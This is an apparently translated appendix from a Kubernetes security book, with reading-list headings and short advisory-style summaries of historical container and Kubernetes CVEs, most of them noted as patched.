超级用户拥有许多特殊权限,这是多年内核开发的结果,假定只有一个“root”用户。为了限制 RCE 对容器、Pod 和主机的影响,容器内的应用不应以 root 身份运行,并且应该通过将allowPrivilegeEscalationsecurityContext字段设置为false来丢弃其特权(这会在容器进程上设置no_new_privs标志)。

附录 B. 资源

一般

参考资料

Books

按章节进一步阅读

介绍

对于第一章,我们建议使用以下资源:

Pods

对于第二章,我们建议使用以下资源:

此外,在这个上下文中相关的工具:

供应链

对于第四章,我们建议使用以下资源:

此外,在这个背景下相关的工具:

网络

对于 第五章,我们建议以下资源:

此外,在这个背景下相关的工具:

策略

对于 第八章,我们建议以下资源:

此外,在这个背景下相关的工具:

显著 CVE

注记

除非特别说明,这些 CVE 已经修补,并且仅作为历史参考。

CVE-2017-1002101

子路径卷挂载处理不当。使用任何卷类型(包括非特权 pod,受文件权限控制)的容器可以访问卷之外的文件/目录,包括主机的文件系统。

CVE-2017-1002102

下行 API 主机文件系统删除。使用 Secret、ConfigMap、projected 或 downwardAPI 卷的容器可以触发在其运行的节点上删除任意文件/目录。

CVE-2017-5638

(非 Kubernetes)Apache Struts 无效的Content-Type标头解析失败,允许任意代码执行。在 Jakarta 多部分解析器中的错误导致将输入注册为 OGNL 代码,转换为可执行文件,并将其移动到服务器的临时目录中。

CVE-2018-1002105

API 服务器 websocket TLS 隧道错误处理不当。在kube-apiserver中对代理升级请求的错误响应处理不正确,允许特制请求通过 Kubernetes API 服务器与后端服务器建立连接。随后在相同连接上的任意请求直接通过与 Kubernetes API 服务器 TLS 凭据认证的后端传输。

CVE-2019-16884

runc恶意镜像 AppArmor 绕过。允许 AppArmor 限制绕过,因为libcontainer/rootfs_linux.go错误地检查挂载目标,因此恶意的 Docker 镜像可以在/proc目录上挂载。

CVE-2019-5736

runc /proc/self/exerunc允许攻击者通过利用作为根用户执行命令的能力来重写主机上的runc二进制文件(从而获取主机的根访问权限),这是由于文件描述符处理不当,涉及/proc/self/exe

CVE-2019-11249

kubectl cp scp 反向写。为了从容器中复制文件,Kubernetes 在容器内部运行tar创建一个 Tar 存档,并通过网络将其复制到用户的计算机上,kubectl在用户的机器上解压它。如果容器中的tar二进制文件是恶意的,它可以运行任何代码并输出意外的恶意结果。攻击者可以利用此功能在调用kubectl cp时将文件写入用户计算机上的任何路径,仅限于本地用户的系统权限。

CVE-2018-18264

在 v1.10.1 之前的 Kubernetes 仪表板允许攻击者绕过身份验证,并使用仪表板的 ServiceAccount 读取集群内的 Secrets。

CVE-2019-1002100

API 服务器 JSON 补丁拒绝服务。被授权向 Kubernetes API 服务器发出 HTTP PATCH请求的用户可以发送一种特制的“json-patch”补丁(例如,kubectl patch --type json"Content-Type: application/json-patch+json"),在处理过程中消耗过多资源。

CVE-2018-1002100

原始kubectl cpkubectl cp 命令不安全地处理从容器返回的tar数据,并可能导致覆盖任意本地文件。

CVE-2019-1002101

CVE-2019-11249类似,但扩展了untar函数可以创建并跟随符号链接。

CVE-2019-11245

mustRunAsNonRoot: true绕过。对于未指定显式runAsUser的 Pod 的容器,在容器重新启动时,或者如果镜像先前被拉到节点上,会尝试以 uid 0(root)运行。

CVE-2019-11247

集群 RBAC 处理错误。Kubernetes kube-apiserver错误地允许访问集群范围的自定义资源,如果请求被视为命名空间资源。以这种方式访问的资源的授权是通过命名空间内的角色和角色绑定来执行的,这意味着只有对一个命名空间中的资源有访问权限的用户可以创建、查看、更新或删除集群范围的资源(根据其命名空间角色权限)。

CVE-2019-11248

kubelet /debug/pprof信息泄露和拒绝服务。调试端点/debug/pprof暴露在未经身份验证的kubelet healthz healthcheck endpoint端口上,可能泄露敏感信息,如内部 Kubelet 内存地址和配置,或造成有限的拒绝服务。

CVE-2019-11250

侧信道信息泄露。Kubernetes client-go库在 7 或更高的详细级别记录请求头。这可能通过日志或命令输出向未经授权的用户披露凭据。使用基本或持有者令牌身份验证并以高详细级别运行的 Kubernetes 组件(如kube-apiserver)受到影响。

CVE-2020-8558

kube-proxy意外地使本地绑定的主机服务在网络上可用。

CVE-2020-14386

来自“loopback”(或本地主机)网络接口的原始数据包整数溢出。使用sysctl -w kernel.unprivileged_userns_clone=0移除或拒绝CAP_NET_RAW可以保护未打补丁的内核免受利用。

CVE-2021-22555

Linux Netfilter 本地提权漏洞。在处理setsockopt IPT_SO_SET_REPLACE(或IP6T_SO_SET_REPLACE)时,本地用户可能利用内存损坏来获取权限或通过用户命名空间造成 DoS。使用CONFIG_USER_NSCONFIG_NET_NS编译的内核允许非特权用户提升权限。

CVE-2021-25740(未打补丁)

端点和端点片段权限允许跨命名空间转发。用户通过混淆代理攻击可以将网络流量发送到本来无权访问的位置。

CVE-2021-31440

Linux 内核 eBPF 验证器中的错误边界计算。通过绕过验证器,可以利用越界访问内核来逃逸,原始概念证明设置 UID 和 GID 为 0,并获得 CAP_SYS_MODULE 来加载容器外的任意内核。

CVE-2021-25741

符号链接交换可能允许主机文件系统访问。用户可能能够创建一个包含子路径卷挂载的容器,以访问卷之外的文件和目录,包括主机文件系统上的内容。

posted @ 2025-11-14 20:41  绝不原创的飞龙  阅读(23)  评论(0)    收藏  举报